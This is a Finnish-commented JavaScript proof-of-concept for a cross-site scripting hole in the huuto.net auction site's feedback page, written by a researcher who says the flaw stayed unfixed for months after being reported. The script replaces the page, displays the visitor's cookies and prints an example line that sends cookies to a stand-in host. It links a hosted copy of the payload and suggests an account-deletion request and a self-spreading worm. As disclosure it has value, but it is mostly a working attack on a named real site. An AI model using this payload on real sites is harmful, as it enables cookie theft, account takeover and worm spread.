/*
** XSS-haavoittuvuus huuto.net-palvelussa, tiedostossa /fi/showfeedback.php3
** ainakin muuttujassa fbuser.
**
** Huuto.net:n ylläpitoon on otettu yhteyttä, mutta 081112@2117 ei vastausta
** vielä ole tullut, eikä haavoittuvuutta ole korjattu.
**
** Virheen korjaaminen olisi melko triviaalia. Sen lisäksi että kaikki skriptin
** käyttämä asiakaskoneen lähettämä data tulisi suodattaa, en näe mitään syytä
** tulostaa palautesivua olemattomalle käyttäjälle.
** 
** 090406: Haavoittuvuus on vielä puolen vuoden jälkeenkin korjaamatta, ainut
** muutos tilanteeseen on hieman tiukemmpi käyttäjädatan suodatus käyttäjän
** kuvauksen muokkaukseen tarkoitetussa lomakkeessa (ilmeisesti XSS-madon
** kirjoittamisen vaikeuttamiseksi).
*/

// siirretään body-tagi body-nimiseen muuttujaan (doh)
var body=document.getElementsByTagName('body');
body=body[0];

// tyhjätään dokumentti sisällöstä
body.innerHTML = '&nbsp;';
body.setAttribute('style', 'background-image: none !important;');

// luodaan uusi tekstikappale, jonka alkuun huutonet-logo...
var teksti = document.createElement('p');
var kuva = teksti.appendChild(document.createElement('img'));
kuva.setAttribute('src', 'http://huuto.net/fi/img/logo.gif');
teksti.appendChild(document.createElement('br'));
teksti.appendChild(document.createElement('br'));

// ..ja ympätään siihen oma tekstimme...
teksti.appendChild(document.createTextNode('Keksinne, olkaa hyvä: '));
teksti.appendChild(document.createElement('br'));
teksti.appendChild(document.createElement('br'));
// ..jonka keskelle liitämme käyttäjän evästeet
teksti.appendChild(document.createTextNode(document.cookie));
teksti.appendChild(document.createElement('hr'));
teksti.appendChild(document.createTextNode('Keksithän olisi voitu lähettää vihamieliselle palvelimelle esimerkiksi linkkaamalla seuraavanlaiseen javascriptiin:'));
teksti.appendChild(document.createElement('br'));
teksti.appendChild(document.createTextNode('document.location="http://example.com/?keksit="+document.cookie'));
// tyylitetään kappale
var cssString = 'width: 75%; margin: 0 auto; color: red; font-size: large; font-weidht: bold;';
teksti.style.cssText = cssString;
teksti.setAttribute('style',cssString);

// lätkäistään tekstikappale dokumenttiin
body.appendChild(teksti);


// Lisää tauhkaa, edellä näytettyyn tyyliin:
var moar = document.createElement('p');
moar.appendChild(document.createTextNode('Tässä POCissa käytetyn javascript-tiedoston voi ladata '));
var linkki = document.createElement('a');
linkki.appendChild(document.createTextNode('täältä'));
linkki.setAttribute('href', 'http://xi7.org/t.js');
linkki.setAttribute('target', 'iguna');
moar.appendChild(linkki);
moar.appendChild(document.createElement('br'));
moar.appendChild(document.createElement('br'));
moar.appendChild(document.createTextNode('XSS-aukko on ollut korjaamatta jo yli puoli vuotta viimeisimmästä ilmoituksestani huuto.netin ylläpidolle, joten he eivät selvästikkään pidä tätä vakavana tietoturva-ongelmana.'));
moar.appendChild(document.createTextNode('Vakavampia seuraamuksia voisi syntyä jo siten, että kirjoittaisi lyhyen skriptin, joka lähettää POST-pyyntönä huuto.netin tunnusten poisto-lomakkeen, joka ei kysy minkäänlaisia salasanatietoja. En ole ihan oikeita käyttäjätietosivuja sen tarkemmin syynännyt, mutta jos sinne on mahdollista pysyvästi lisätä vastaavanlainen skripti-tägi, voisi pienellä vaivalla kirjoittaa huuto.netille XSS-madon, joka leviäisi käyttäjien palautesivulta toiselle automaagisesti.'));
body.appendChild(moar);

var cssString2 = 'width: 75%; margin: 0 auto;';
moar.style.cssText = cssString2;
moar.setAttribute('style',cssString2);

// shinmai, 081110, 090406
// EOF
